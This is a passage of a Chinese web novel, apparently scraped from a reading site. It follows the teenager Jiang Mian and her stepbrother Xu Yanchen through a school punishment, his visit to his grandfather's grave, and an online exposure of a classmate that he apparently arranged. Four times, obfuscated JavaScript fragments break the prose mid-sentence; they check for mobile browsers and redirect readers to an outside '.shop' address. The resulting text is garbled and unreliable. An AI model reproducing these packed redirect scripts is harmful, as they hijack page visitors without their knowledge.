他笑了笑,眼里的促狭一闪而过,低下声在她耳边:“你剥的,好吃。” 姜绵心跳漏了一拍,脸颊肉眼可见的开始变红,耳边的人低笑出声,她才意识到自己又被他给反捉弄了。 她瞪他:“再也不跟你开玩笑了!” 许言琛心情很好,往后靠了靠,看着她:“可是真的有些难以下咽,怎么办?” 其他人都吃这么香,让他一个人就喝碗粥也不太好。 姜绵眼神在桌上转了一圈,终于找到一个勉强能让他吃的东西。 她把一盘的生蚝全部端到他面前,扬了扬下巴:“这个你可以吃。” 许言琛看着面前的东西,难得不受控制的抽了抽嘴角。 注意到这边的情况,程渡和张滔整个人都快笑翻了。 “哈哈哈不是我说,许哥你还没到吃这个东西的时候吧?” 姜绵一脸不解看向他们。 生蚝还要分时候吃吗? 就连陈思彤都是一副便秘的表情,忍笑拉了拉她的裙角,在她耳边小声说:“姜宝你记住了,这种东西下次别给男生,给我就行。” 好半天她才反应过来这句话的意思,在笑声中红了脸,急忙解释:“我不知道这个东西有那个作用,我知道的话肯定不会给他的!” 完了,怎么越解释越离谱。 姜绵捂住发烫的脸,想死的心都有了。 许言琛猛地被呛住咳了声,摸了摸耳尖一次次将视线扫向她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042561|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 什么叫,知道了肯定不会给他。 其余人笑得更加大声,眼看她头越埋越低,许言琛抬眼看向他们,冷冷出声:“这顿饭你们俩买单。” 一提到钱两人瞬间就变了表情,程渡欲哭无泪:“别介啊,许哥我们知道错了,我们再也不笑了,我是真没钱。” “就是,你把我们书包掏空了都凑不齐这顿饭钱啊?”说完张滔就故作姿态去翻书包。 程渡一把捂住他的嘴:“你这个死胖子,你不知道许哥现在听不得‘掏空’那两个字吗!” “噗哈哈哈哈!” 陈思彤狂放的笑声成功让他们也破了功,三人拍桌笑得停不下来。 姜绵把头磕在桌子上,闭眼装死。 一顿饭吃到最后,许言琛说到做到,饭钱由他们三个人平摊。 结账的时候,陈思彤脸色难看得要死,再给她一次机会,她一定会控制住自己的苹果肌。 有了她的加入,程渡瞬间开心的不行,三个人均下来倒给他剩了个车费。 分开的时候几人都心照不宣。 上车前,陈思彤说:“这还是我长这么大以来第一次逃课,挺有意思的,希望明天能活着回学校见你们。” 程渡他们笑了笑,说他们也是,估计家里人已经开始摩拳擦掌了。 眼看气氛变得有些奇怪,姜绵朝他们扬起一个假笑:“希望明天能在学校看见你们活着回来。” 比起他们害怕回家的心理状态,她更害怕的其实是明天回学校。 几人你看我我看你,鼓足勇气后,背起书包各自踏上了回家的路。 载着他们的公交车慢慢驶远,姜绵感慨的舒了一口气。 “上车吗?”许言琛看向朝他们缓缓开来的公交车,问道。 街上霓虹灯五光十色,夜市正开得热闹。 姜绵看着他笑得明媚:“走一会儿吧。” 没有很意外,他点了点头。 并肩在街上走着,人行道上人群熙熙攘攘,路边烤串发出滋啦声,香味远飘十里。 许言琛不动声色把她往里拉了拉,让她靠他更近。 “有话跟我说?”看她欲言又止,他先一步问道。 见她愣住不说,他弯唇笑,“正好,我也有话跟你说。” 姜绵侧头看向他,似是在等着他的下文。 许言琛清了清嗓,从衣兜里掏出一叠东西,“这是他从你那儿抢的东西,数数看对不对得上。” 目光落在他手上那一叠纸币上,她伸手接过数了数,正好跟那天她钱包里的数额一样。 也就是说,这是刘强抢走她的钱? “这是……刘强还给我的?” 他点了点头,神色有些不自然:“他还没来得及花出去。” 姜绵蹙了蹙眉,刘强那么缺钱着急用的样子,不应该一分都没用啊? 而且以他那种人的性格来说,手里更不可能会剩这些钱。 她低头打量起手里的钱,数额是没错,可是有些东西却对不上。 眼底狡黠闪过,她故作疑惑:“他是不是拿错了啊?” 许言琛脸上慌乱一闪而过:“怎么了?” 她取出一张二十的纸币摇了摇,说:“那天钱包里,我最大的面额是十块。” 他回神应了一声,低头摸了摸衣兜,扯了扯嘴角:“可能是放混了,不小心拿成我自己的了,数、数额对就行。” 她垂眸笑了笑,声音甜糯。 “许言琛,原来你说谎的时候会结巴啊。” 40. 谋划 他哽住没说话。 姜绵看了眼他手臂上缠着的纱布,将手里的钱叠好,放进了他外套口袋里。 “已经够了。” 他做了这么多,早就已经够了。 细究起来,反倒是自己欠了他太多。 许言琛摸了摸口袋里的东西,看向她:“不够,这些本来就应该是你的。”只是因为他,她才会平白受牵连。 应该? 姜绵忽的轻笑出声,目光不自觉落在胸前的玉佩上。 原先有些湿润的绳带已经被风吹干了,还残留着一丝淡淡的皂角香。 她吸了吸鼻子,目视着前方的热闹,“这个世界上没有什么是应该的。” 就像…… “就像你不觉得我把东西给刘强是应该的一样,我也不觉得你把这些东西往自己身上揽是应该的。” 他们都不曾认为对方为自己是应该的,却又一次次为对方义无反顾。 连她也很难解释,什么时候他的存在已经逐渐开始变得重要起来。 所以在预感到他出事的那一秒,她内心只有一个想法—— 找到他。 “没有什么是应该的。”许言琛轻笑了声,侧头看着她目光深邃,“是我心甘情愿。” 在他说完这句话后,对面突然涌来一群才放学的学生,一边奔跑一边呼喊,本就热闹的街上此刻变得有些凌乱。 两人瞬间被人流挤散开,姜绵几乎是被身旁的人浪推着走,好不容易稳住身形,却怎么找也没找到许言琛。 形形色色的人从她身边路过,可都不是他。 一时慌乱后,她想回头在身后的人群中寻找,陡然间却被人握住了手腕。 循着力道看去,许言琛外套和头发都有些凌乱,喘着粗气望着她,身上的慌张慢慢消减。 他弯了弯唇:“你看,都说让你跟……” 戏谑的话顿住,笑意就这样凝固在了脸上,他低头看向胸前埋着的脑袋。 顾不上路人的打量,姜绵用力环紧了他的腰,有些情绪后知后觉。 “不要再消失了。”她说。 过了很久,她感觉到他似乎是松了力,头顶传来他沉沉的应答声:“嗯,不会了。” 快到家的时候,姜绵才觉得一切都踏实了起来,问出了她想知道了好久的问题。 “他们……会怎么样?” 许言琛放下半挽着的袖子,提起这件事时难得带着点儿轻松:“多次抢劫和持刀伤人,够他们蹲一段时间了,可惜……” “可惜什么?” 他苦笑着继续说:“可惜那些被他残忍害死的动物。”终是得不到一个说法了。 被他这么一说,姜绵也跟着落寞了起来。 没有相应的法律保护它们,它们的存在和离开似乎都有些轻飘飘。 可对于在乎它们的人来说,却是压在心头的千斤重。 突然联想到什么,她有些不确定的开口问:“所以,你是故意、故意去惹怒他,等他来报复你?” 因为他知道,那个时候的刘强,脑子里的理智早就不复存在,一定会做出更过激的事。 难怪他会在刘强转校那天说没那么简单,原来他早就谋划好了这一切。 那么,她也是许言琛谋划中的一部分吗? “我给过他机会,可他转校后还是没有停止自己的行为,反而变本加厉。” 说到这儿,许言琛停下了脚步,抬眼看向她,语气认真:“但他来找你,完全在我的计划之外。” 如果知道会这样,他会将这个计划扼杀在摇篮。 她永远是自己赌不起的差错。 所以他才会在计划进行到最后的时候,突然就改变了主意。 刘强会拿刀完全在他的意料之中。 他想杀他,偏偏他最不擅长的就是让人如意,可在他挥刀过来的时候,他只是稍微侧身让刀落在了手臂上。 刘强看着不断冒血的伤口笑得癫狂,他也不疾不徐勾起了唇角。 计划中的他应该伤得更重,是突然响起的警鸣声打破了这一切。 可惜了,他应该判的更重才对。 姜绵对这一切都不知情,还善解人意安慰起他:“不怪你,刘强他就是一个疯子,什么事都干得出来。” 看她一脸愤懑的样子,许言琛忍不住伸手摸了摸她的头。 突如其来的亲密动作让姜绵愣在了原地,走了几步发现身后人没有要跟上来的意思,许言琛回头催促:“不走吗?” “来、来了!”她小跑着追上那个高大的身影,拍了拍有些发热的脸颊。 最近也不知道怎么了,脑袋里总想着一些乱七八糟的东西。 趁人不注意,姜绵悄悄看了一眼他,在心底暗下结论: 都怪他那张脸,太具魅惑力,一不小心就会被扰乱心智。 她深呼吸了一口气。 姜绵,淡定,你可不是随随便便就会被一张脸给欺骗了的人。 好不容易调整好的心情,在到家打开门后又掀起了波澜。 平时不怎么出现的人此刻正背对着他们端坐在沙发上。 听到身后的动静,许国安抬手倒了杯茶,说道:“回来啦。” 姜绵手忙脚乱边换鞋边说:“许叔叔,今天学校打扫卫生,所以回来得晚了些。” 许言琛没说话,换好鞋抬脚径直往里走。 “站住。”将茶杯里的茶一饮而尽,许国安起身看向他,脸色极差。 “之前无论你做什么事我都睁一只眼闭一只眼,可没想到今天你竟然干出这种混账事来!” “你一个人逃课不嫌丢人,还要带着小姜一起,小姜在学校品学兼优,我说了多少次,让你不要带坏了人家!” 说到气处不嫌够,他抬手想把杯子砸过去,姜绵立马跑过来护在少年面前。 “许叔叔,这不关哥哥的事,你别怪他,是我自己要逃课的。” 身后,许言琛低头饶有趣味看着她,等着看她后面还再会说些什么。 许国安看见他那副吊儿郎当的样子就气不打一处来,对姜绵的解释也是充耳不闻,抄起沙发上的抱枕用力丢向他。 “混账东西!” 许言琛被砸得头一偏,眉骨上的创可贴掉了一半,抬手将它重新贴好,他轻嗤了声:“你说是就是吧。” “你!” 姜绵急得不行,偏偏情况太复杂她一时半会儿也解释不清楚,只能眼睁睁看着他们父子两人间的战火升级。 “许叔叔,其实……” “走了。”没等她说完,许言琛拉着她往楼上走,姜绵不知所措的前后张望。 许国安看着他们两人的背影,眸色深沉。 等到了二层,楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081392|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下时不时响起男人烦躁走动的声音,她挣开他的手低声问他:“你干嘛不跟许叔叔解释清楚?” 许言琛没回答她,俯身在她耳边,语气揶揄:“刚刚那声哥哥叫得不错,再叫声听听?” 等反应过来他说了句多流氓的话后,姜绵瞬间涨红了脸,说话又开始结巴:“我、我那是礼貌!” “那?”他直起身挑了挑眉,“再礼貌一次?” 他不要脸的程度让姜绵一时半会说不出话,半晌她才咬牙切齿骂道:“变态!” 少女转身气呼呼离开,直到关门声响起,许言琛才敛下眼里的笑意,看向蜿蜒直达楼下的楼梯。 解释,是留给想听的人说的。 * 第二天到了学校,因为逃课被教导主任发现,学校针对他们五个人进行了将近一天的教育批评。 头顶烈日站在国旗下,天气热得让人快要蒸发掉。 在下巴不知道滴落多少颗汗后,陈思彤终于忍不住抬手擦起了额头的汗。 “那个谁,站好!别动!” 教导主任站在树荫下,一边扇扇子一边指着他们骂:“你说说你们几个,平时学习学习不行,逃课倒是比谁都积极!” 陈思彤忍不住反驳:“主任,您这样说我们几个倒是没意见,可人姜绵可是年级前五十的!” “你还好意思说!”教导主任怒气更增,把手里的折扇朝她扔过去,陈思彤吓得一抖。 “人姜绵是个好苗子,就这样被你们带坏了为师是痛心疾首啊!都给我站好咯!再动一下加你们十分钟!” 过了一会儿,似乎是觉得热起来,主任指了指他们脚边的扇子:“扇子给我拿过来。” “我来我来,主任我给你拿!”好不容易逮着一个可以休息的机会,程渡狗腿的往上凑。 “等等等,你站住!让那个谁,姜绵你给我拿过来。” 程渡不情愿的把东西给了身旁的人,姜绵还没弄清楚情况手上就被塞了一扇子。 见她愣着不动,陈思彤埋头低声说:“姜宝,愣着干嘛快去啊,替我们感受一下树荫下的凉气。” 她看向身边几人,许言琛也扬了扬下巴示意她去。 在他们羡慕和寄予众望的眼神中,她迈步向树底下的主任走去。 “主任,你的扇子。” 主任接过扇子满意嗯了声,在她要离开时喊住了她:“你就不用过去了,就在这儿站着看吧。” “可……” “你是好学生老师知道的呀,他们不坑蒙拐骗你,你能去吗?不能对吧?” “主任,其实我是自……” “主任知道你有苦衷,可你从梵中来了这里就应该知道,知识改变命运,特别是你这样的学生,就更应该明白。” 说到这儿,他把目光放在不远处身形优越的少年身上。 “有些人天生命好,用不着努力就能拥有自己想要的,而有些人,只有自己。” 姜绵知道他的言外之意,很多人都这么认为,只有她才知道,那个人其实也有只有靠自己才能得到的东西。 “对了,你是选的理科对吧?不出意外,后面的高中生涯你可能天天都要看见我了,不要再辜负老师的期望了。” 那些辩驳的话终究还是没能说出口,姜绵垂眸小幅度点了点头。 “谢谢主任,我知道了。” 41. 期待 有了这次教育,后面一段时间几人都老实了许多。 上课时,老周看着突然转性认真听课的许言琛止不住的感慨,平时不学无术的人都开始活久见学习起来,有些人还在无可救药的堕落。 姜绵侧过头看他,少年侧脸线条锋利,低头认真写着什么,显然是对老周的点评不感兴趣。 她知道,他突然转性是为了即将到来的期末考试。 也是他们在高一的最后一个考试。 时间飞速流逝,他们“五人小分队”就要散开,和他的同桌生涯也要告一段落。 正式填写分班志愿那天,班上气氛凝重。 他们这个班没什么团结精神,一年时间也没结下多深厚的同班情谊,只是提到“分别”二字,或多或少都会自带一些惯性情绪。 连带着天气都变得差了起来,姜绵撑着下巴看向桌子上填好的表单,整个人蔫儿了起来。 许言琛侧过头看她。 “怎么了?” 她呼了口气,摇摇头:“没什么,只是有些没准备好。” 没准备好跟他们分开。 一想到之后下课再也没有逗乐的人和说走就走的搭子,身边也没有了他,她就忍不住怅然若失起来。 许言琛抿唇,垂眸轻声:“不会太久。” 没听清这句话,姜绵疑惑“嗯”了声看向他,他却淡淡摇了摇头。 “对了,你选的什么?理科吗?” 没再纠结那句话,她伸长了脖子去看他的志愿表,在看到和自己一样的两个字时,只一秒的怔愣她便笑了。 和她猜的一样。 他盯着她嘴角隐隐浮现的梨涡,滚了滚喉结:“压中题了?” “压中题可不是这种笑。”说着姜绵拉了拉自己的嘴角,将幅度扬到最大,“是这种。” 许言琛轻笑一声,将视线转到桌上那张薄纸上。 好像离她又近了一点。 * 耗时三天的期末考试结束后,学校里笼罩的阴霾一扫而散,随即而来的是迎接假期的喜悦。 所以即使考试让人蜕了一层皮,陈思彤却在小聚上愉快干掉了一瓶菠萝啤。 “赶紧的,趁着考试成绩出来之前,我们能快活几天是几天,来来来干杯!” 程渡难得赞同她一回,丢下手里的虾跟她碰了一个:“说得没错!珍惜当下的美好时光,管它后面有什么风浪!” 被他们的情绪感染到,姜绵笑着拿起手边可乐凑了上去。 “就差你了许哥,赏脸喝一个?”程渡看向一旁翘着长腿看手机的人。 支付成功的消息弹出来,许言琛放下手机嗤笑一声,转手拿起桌上的杯子碰了碰,无情吐槽:“过家家。” “许哥你这话说的,菠萝啤已经是我们仨最大极限了,再重点那味儿就散不开了。” 但凡回去被他爸妈闻到那他就只有死路一条。 说完程渡看向对面捏着可乐瓶的女孩儿,抖腿笑得贱嗖嗖:“要我说,姜小绵才是我们这群人当中最格格不入那个,搞得我都有种带坏小孩儿的负罪感了。” 关系变得熟稔,姜绵逐渐能忍受他对自己略带油腻的称呼,无辜看向手里的可乐罐。 不喝菠萝啤难道是她不想吗,还不是因为有人在身后摁住了她的手,又不容置喙的夺走了它! 见她不满,许言琛悠悠说:“她喝不了。” 简单一句话内容可不少,程渡凑近逼问:“许哥,你怎么知道人家喝不了?莫非……” 姜绵神色刹时变得不自然,只听他闷笑出声:“大概是因为,被坑过一次?” 几人敲着筷子起哄,纷纷表示还想听更多的细节,姜绵在起哄声中悄然红了脸。 上次就是个意外,她也没想到威力会那么大。 无论他们再怎么威逼利诱,他就是不肯再多说一句,程渡觉得没意思,换了个话题:“你们假期准备干啥?” 陈思彤生无可恋:“补课。” 哪成想程渡和张滔听到这句话同时举起了手,三人同病相怜击了个掌。 “哪家机构啊?”陈思彤问他们。 “私教。” “私教加一” 她白眼一翻,成,就当她没问过。 “你呢许哥,准备去哪儿浪啊?” 许言琛不咸不淡笑了笑:“准备回趟老家。” 姜绵小口喝着饮料,目光偷偷投向他。 “差点忘了,许哥你每次放假都要回去趟。” 程渡嚼了口菜,问:“票买了吗?” 他身子往后靠了靠,稍显放松:“买了,明天就去。” 这么快吗?姜绵收回眼神默不作声。 “这么急?需要哥几个送送你吗?” 斜了一眼他,许言琛笑回:“用不着。” 这次应该待不了多久。 最后饭钱还是许言琛付的。 比起之前让他们三人AA的那顿烧烤,这次一分没花就白嫖了顿海鲜,程渡他们可是高兴惨了。 几人麻溜转身离开现场,生怕他反悔似的。 “多谢款待!多多联系!” 重点显然是在后面那句话。 这种事情多来几次再好不过了。 走到车站,姜绵看向身旁身形高挑的人,笑盈盈问:“钱包还好吗?会不会我们饱了,它扁了?” 许言琛沉吟了会儿,说得云淡风轻:“这种情况,应该没太大可能出现。” 这就是有钱人自带的底气吗? 姜绵扭过头缩了缩脖子。 见她低头踮脚不说话,许言琛咳了声。 “感冒了吗?” 摇了摇头,半晌后他才吐出一句话:“有件事可能得请你帮个忙。” 姜绵看着他眨巴了一下眼睛。 许言琛低头弯了弯唇角:“能帮忙代领我那份成绩单吗?” 对哦,他明天就动身回老家,肯定也就去不了学校了,举手之劳而已,她很爽快的应了下来:“没问题!” 说完这句话后,横亘在他们中间的是长久的沉默。 眼看公交车没有要来的迹象,姜绵憋不住先开了口:“你每次假期都回老家吗?” 终于等来她的询问,许言琛眼尾上扬:“嗯,去看我爷爷。” 似是怕她就这样中止了话题,他又补充:“这次是因为没了票,所以去得早些。” “这样啊。” 她边应边点头,目光落在自己的脚尖,纠结很久才糯糯问:“那要去很久吗?” 一瞬的怔愣,他眉眼染上笑意,侧身挡住车灯的照射,语气郑重得像是在许下一个承诺:“不会很久。” 姜绵抬眸和他对视,露出甜甜的笑容。 许言琛慢慢收拢衣兜里的手。 他没告诉她,这次回去可能是他最轻松又最沉重的一趟旅程。 也是他对过去的告别之旅。 许言琛离开的悄无声息。 没人知道他是什么时候走的,姜绵起来的时候,门口玄关处已经没有了他的鞋子。 说不上为什么,心情有些落寞。 直到他在下午发来一串信息,里面夹着的图片上是一片绿油油的稻田,充满了夏天的生机。 A_XU:到了。 A_XU:风景不错。 A_XU:吃饭了吗? 就像是在跟她报备行踪,又或许只是普通的分享,却足够让她内心扬起小雀跃。 姜绵抱着手机在床上打了个滚儿,控制不住自己嘴角的笑意。 姜绵眠眠:吃啦。 姜绵眠眠:风景很美。 姜绵眠眠:旅途劳顿,注意休息。 田坎乡道边,许言琛笑着收了手机,静下来感受四周,热风席卷起他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126770|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袂,闷热感扑面而来。 提着行李箱往前迈步,一路上遇到坐在梯坎边乘凉的阿公阿婆跟他打招呼,他都眉眼温柔笑着应他们。 就像是那些年的时光并没有远去,他仍旧是在这个地方得人喜爱,无忧无虑的许言琛。 倘若,他不曾离开。 * 去学校拿成绩单的那天,天气晴朗,树上的知了叫个不停,吵闹中又带了点儿规律。 到办公室的时候,老周看着成绩单笑眯眯夸她:“这次考得不错,你是我带过的这么多届里,遇到的最有天赋的学生,去了新班级继续努力!” “谢谢周老师。”姜绵鞠了个躬,双手礼貌接过成绩单。 周毅欣慰点了点头,等了一会儿后见她没有离开,开口问道:“还有什么事儿吗?” “周老师,许言琛的那份成绩单能一起给我吗?他有事来不了。” 提起他,周毅脸色变了变,从办公桌抽屉里摸出一张单子,欲言又止,似乎在组织着措辞。 老周很少会露出这种表情,姜绵隐隐担心:“怎么了周老师?” 意识到自己表情有些失态,周毅抵拳咳了声:“没什么,许言琛这次考的也不错,学习态度可嘉。” 考得不错吗? 姜绵惊喜接过他的成绩单,一扫各科成绩后把视线放在最后的总排名上,嘴角笑容愈加上扬。 总排名421。 完全超出了她的预想。 “谢谢周老师,我走啦!”朝老周弯了弯腰,她转身跑出办公室。 “这孩子,慢点儿!” 周毅看着转眼就不见踪影的女孩儿,无奈摇了摇头。 一路小跑回许家,关了房间门姜绵直接扑倒在床上,掏出手机傻笑着发送信息。 姜绵眠眠:!!! 对面的人应该正好空闲,回得很快。 A_XU:什么事这么激动?我猜猜。 A_XU:拿到成绩单了? 在床上翻了个身,她笑着打字。 姜绵眠眠:完全正确! A_XU:考的很好? 发送完这条后,许言琛嘴角还噙着笑,视线一斜,伸手指了指柜子里的东西:“老板,拿一瓶这个。” 超市老板拿下那瓶白酒放在收银台上,熟稔跟他打起招呼:“又去看你爷爷?” 许言琛淡淡点了点头,掏出钱包付了钱,走出超市的时候,手里的手机正好传来了一声响动。 姜绵眠眠:很好!421名! 他扬了扬唇起了恶心思,手里提着的袋子下滑勒在臂弯,指尖飞速敲着字。 A_XU:下滑这么多? 下滑?多? 姜绵蹭的从床上坐起。 哪里下滑了,他之前不是才…… 反应过来他是什么意思,她无语回复。 姜绵眠眠:那是你的成绩! 目的达成,许言琛笑意更甚,头顶艳阳,不疾不徐回她。 A_XU:原来我考421名你这么高兴啊? A_XU:看出来了,你很期待。 姜绵眠眠:什么? A_XU:期待我的要求。 这句话如一道雷炸醒了她,脑袋不由自主浮现那天晚上信口答应他的事。 不过,他是从哪儿看出来她很期待的,她只是高兴他成绩的突飞猛进! 想了想,她干脆僵硬转移了话题。 姜绵眠眠:什么时候回来? 聊天界面平静了一会儿,又咻的接连弹出两条新消息。 A_XU:这么迫不及待? A_XU:我也是。 …… 姜绵突然后悔多嘴了那么一句。 把脸埋进枕头里,她捂住有些发烫的耳朵。 最近的她,好像总是被许言琛不经意的几句话轻易撩拨到。 42. 赴约 晚上许国安回来得很早。 孟虹很高兴,吃饭的时候一个劲儿给他夹菜,姜绵没见她笑得那么开心过。 “新区建设马上就快收尾了,等这个项目结束了也能多抽出些时间陪陪你。”他极少说这样的话,全然没注意到身旁的女人愣住红了眼眶。 “对了,期末成绩是不是下来了,考得怎么样啊小姜?” 话题一转,他看向一直没吭声的女孩儿,姜绵放下筷子,态度恭谦:“谢谢许叔叔关心,这次考试发挥的还行,年级18名。” 听到这句话,孟虹抬眼看向她,张了张嘴想说些什么,瞥到一旁的人后最终选择沉默。 “好好好。”许国安拿起手边的高脚杯,将里面的液体一饮而尽,表情惆怅,“这样也算没辜负你妈妈的托付了。” 桌上气氛一下子冷了下来,姜绵垂眸艰难维持着面上的表情。 良久,她拌了拌碗里的饭,笑着说:“哥哥这次也考得很好,进步很大。” “是吗?”这倒是让许国安有些意想不到,惊讶之余也只是笑着摆了摆手,“他不给我惹麻烦就行。” 很快没人再谈及这些,他们似乎对她所说之事并不感兴趣。 到最后他们都回了房间,只有她一个人在餐桌上机械咽着饭若有所思。 姜绵不明白他们为什么会对许言琛这么冷淡,就好像他不是他们的亲儿子一般。 * 农村小镇里最热闹就数这个时候。 小孩子们都放假归家,成群结队在乡野间嬉戏打闹,一边追着低飞的蜻蜓,一边又想要循着蝉的叫声找到它。 直到看见不远处提着东西的高个少年,一群孩童蜂拥而上围住他。 “阿许哥哥!陪我们玩儿捉迷藏好不好?” “阿许哥哥跟我们玩儿老鹰捉小鸡!” “不要不要,阿许哥哥我们玩儿公主游戏,你当王子!” “阿许哥哥……” 一瞬间,许言琛四周被他们给围得水泄不通,几个小孩儿拉住他的衣服,绕在身边叽叽喳喳争夺不休。 邻里的婆婆探出头笑着训他们:“几个小崽子天天缠着你们阿许哥哥,你们阿许哥哥都要被你们给吵烦咯!” 或许是真害怕阿许哥哥会烦他们,几个人都松开手闭紧了嘴巴。 许言琛笑着摸了摸他们的头,从袋子里拿出一个圆形的铁盒打开,递给他们:“晚点哥哥再陪你们玩儿,好不好?” “好!”小孩子就是这样,只要一有吃的什么都忘了,同心协力举着一盒曲奇饼干就跑了,“谢谢阿许哥哥!” 连带着一旁乘凉的婆婆婶婶都忍不住打趣起他来:“阿许啊,你就惯着他们吧!” 重新提好袋子,许言琛小幅度扬了扬唇没说话,望着那几道奔跑的小身影微微出神。 “对了阿许,好不容易回来一次,晚上来婶婶家吃饭啊!” “就是,小时候你可喜欢来婶婶们家里吃饭,长大了还变腼腆了!” “被你们这么一说,我又想起阿许小时候,拿着一个碗各家跑,那些肉堆得老高,最后才晓得,那是拿去给村门口那些猫猫狗狗吃的。” “回去被他爷爷打惨咯哈哈哈哈。” 回忆起往事,一群人都拍手笑起来。 许言琛面露尴尬,找了个理由赶紧开溜:“我先去看我爷爷,婶婶们慢慢儿聊。” “你看看你们,又把人给说不好意思了!” 急于逃走是真的,去看爷爷也是真的。 这应该是他这次回来,最后一次去看望他。 袋子里带的东西都是爷爷之前爱吃的,许言琛拿出白酒倒满一碗,放在他面前,自顾自开口。 “还是您爱吃的那些,酒也是你爱喝的那款。” “今天听她们提起以前的事,想想还是挺怀念的。” “这应该是今年最后一次来看您,以后就不常来了。” 说着说着,他半蹲下来,眼里淌出浅浅笑意。 “爷爷,我遇到了一个很好的女生,她非常优秀,我不能继续困在这里了,我想朝她走。” “您会支持我的,对吧?” 回答他的依旧是一阵沉默,他低下头牵强笑了笑。 口袋里的手机响起急促的铃声,许言琛顺了一下心情,掏出接起。 程渡激动的声音从手机听筒传了出来:“许哥你真是神了!跟你猜的一样,这才放假没几天她就按捺不住了。” 许言琛直起身,眸色渐暗:“删干净了吗?” “放心吧许哥,我跟滔儿的管理员可不是白当的。” “行。”默了默,他哂笑一声,“把我准备的东西放上去。” 手机那头短促应了声,随即挂断了电话。 许言琛握着手机的手慢慢下垂,看向被风吹得荡起波澜的瓷碗里。 盛满白酒的碗有些轻微摇晃,些许液体从碗沿溢出,浸湿周围一小块土地。 怔了怔,他忽的笑了,眼底有些湿润,低声提醒:“慢点儿喝。” 说完他立马转身,下定决心抬脚离开,挥了挥手带着些释怀:“我是懒得跑了,想我的话您就来看我吧,早不是小孩儿了,不用怕我被吓到。” 这句话顺着风被吹到身后,除了茂密树叶的簌簌声,没有人回答他。 过了很久,一切如初,像是没有人来过一样,一场大雨浇了下来,将有些陈旧的墓碑冲洗干净,映出上面的大字小字。 慈父许松祥之墓。 孝孙敬立。 * 假期第一个月就快要过去一半。 说很快回来的人并没有要回来的迹象,姜绵待在许家百无聊赖,手机都快要被她刷爆了。 正当她下定决心准备出去走动的时候,接连响起的信息提示声恰时阻止了她。 刚打开手机就被满屏的感叹号给吵到。 陈思彤:有瓜!!!! 陈思彤:劲爆大瓜!!!!! 陈思彤:速去校园贴吧!!!!!! 没想到放假了校园贴吧里还能这么热闹,姜绵翻看那些起了千百楼的帖子,随意划到一个点了进去。 第328楼:蛇蝎心肠啊,支持把这种人赶出学校! 第327楼:出来道歉!给那些受害者道歉! 第326楼:那是因为你被她的假象所迷惑了,我之前在厕所碰见过她们姐妹团围着一个女生笑,之前说出来还没人信。 第325楼:叶薇平时在学校一副清高的样子,没想到私下是这种人。 事情和叶薇有关? 快速划到后面,她点开一个接一个的相关视频。 所有视频里,除了叶薇及她那群姐妹团,其他人都被码得严严实实,看不出来是谁。 但仅凭她们那些粗鲁的动作和不堪入耳的声音就能看出。 她们在霸凌。 除了这些视频,陆陆续续也有不同的照片被发送出来。 街头抽烟的叶薇,酒吧流连的叶薇,掺着不同男人谈笑风生的叶薇,一一被展现在众人眼前,乱到让人有些难以置信。 看着看着,姜绵表情逐渐呆滞住。 印象里她跟叶薇交谈过一次,那时候的她虽说不上有多好相处,但也没有这上面展露出来的那么令人窒息。 现在这种东西都被爆出来,很难不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151614|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人想象到她之后会有什么样的下场。 出神间,手机上又弹出一条新短信。 她点进去一看又是一愣。 祝学长:后天有时间出来吗? 自从上次许言琛跟她闹脾气之后,她就没再跟他碰过面,手机联系也很少。 而此刻,他突然主动发出邀约信息,姜绵有些犹豫。 也许是看她很久没回,祝煜又发过来一条。 祝学长:听说你选了理科,我这里正好有一份上届学长留下来的全套资料,之前想着丢了挺可惜的,现在正好可以送给你。 她承认,全套学习资料的诱惑力确实很强。 而且,正好许言琛还不在家,也不会在发现她跟祝煜见面后生气。 这样想着,她咽了咽口水,背负着巨大道德感缓缓敲下字。 姜绵眠眠:有时间。 信息发送出去的那一秒,厚重的罪孽感包裹着她的内心,让她挣不开也躲不掉。 就这一次而已,最后一次。 应该没事的吧…… 上天也许是被她的真心祈祷所打动。 那天许言琛并未回来。 